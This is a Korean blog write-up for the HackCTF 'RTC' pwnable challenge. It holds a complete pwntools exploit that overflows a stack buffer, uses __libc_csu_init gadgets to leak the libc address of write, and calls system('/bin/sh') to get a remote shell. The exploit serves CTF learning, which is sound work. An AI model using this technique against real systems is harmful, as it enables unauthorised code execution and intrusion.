메로나
[HackCTF] RTC (350) write-up 본문
__libc_csu_init 에 들어있는 가젯들을 이용해 이리저리 움직이는 기법이 RTC이다. ROP해도 되는데 RTC 해봤다.
1. 보호기법 체크
➜ RTC checksec rtc
[*] '/root/pwn/HackCTF/RTC/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
까나리 파이 없고 NX만 잇따
2. Hex-Ray
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
setvbuf(stdin, 0LL, 2, 0LL);
write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
return read(0, &buf, 0x200uLL);
}
까보면 머 복잡한건 없다 그냥 write, read 한번 해주고 끝난다. read에서 오버플로우 터진다.
최대한 __libc_csu_init에 있는 가젯을 이용해서 풀려고 노력했다... 마무리를 어떻게 해야할 지 잘 모르겠어서 그냥 +99부터 pr 가젯 있는거 이용해서 마무리 지었다.
3. Exploit
from pwn import *
context.log_level = 'debug'
IP = 'ctf.j0n9hyun.xyz'
PORT = '3025'
p = remote(IP, PORT)
#p = process('./rtc')
e = ELF('./rtc')
#libc = e.libc
libc = ELF('libc.so.6')
gadget_3 = e.symbols['__libc_csu_init'] + 99
gadget_2 = e.symbols['__libc_csu_init'] + 64
gadget_1 = e.symbols['__libc_csu_init'] + 90
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']
p.recv()
payload = "A" * (0x40 + 8)
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(6)
payload += p64(write_got)
payload += p64(1)
payload += p64(gadget_2)
payload += "A" * 8
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(main)
p.sendline(payload)
write_addr = u64(p.recv(6) + "\x00\x00")
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
payload = "A" * (0x40 + 8)
payload += p64(gadget_3)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)
p.interactive()
그냥 write 함수 leak 해서 libc 주소 알아내고 그걸로 system, /bin/sh 주소 알아내서 마지막에 pr 가젯으로 rtl 해줬다 마무리가 좀 찝찝하긴 한데... 어쨌든 __libc_csu_init에 있는거 썼으니까...
'Wargame & CTF > Pwnable' 카테고리의 다른 글
[0x41414141] write-up (0) | 2021.02.03 |
---|---|
[KNU 슬기로운 컴학대회] pwnable 문제 풀이 (Author write-up) (0) | 2021.01.01 |
[HackCTF] SysROP (350) write-up (0) | 2020.12.24 |
[HackCTF] Unexploitable #1 (300) write-up (0) | 2020.12.24 |
[HackCTF] ROP (300) write-up (0) | 2020.12.24 |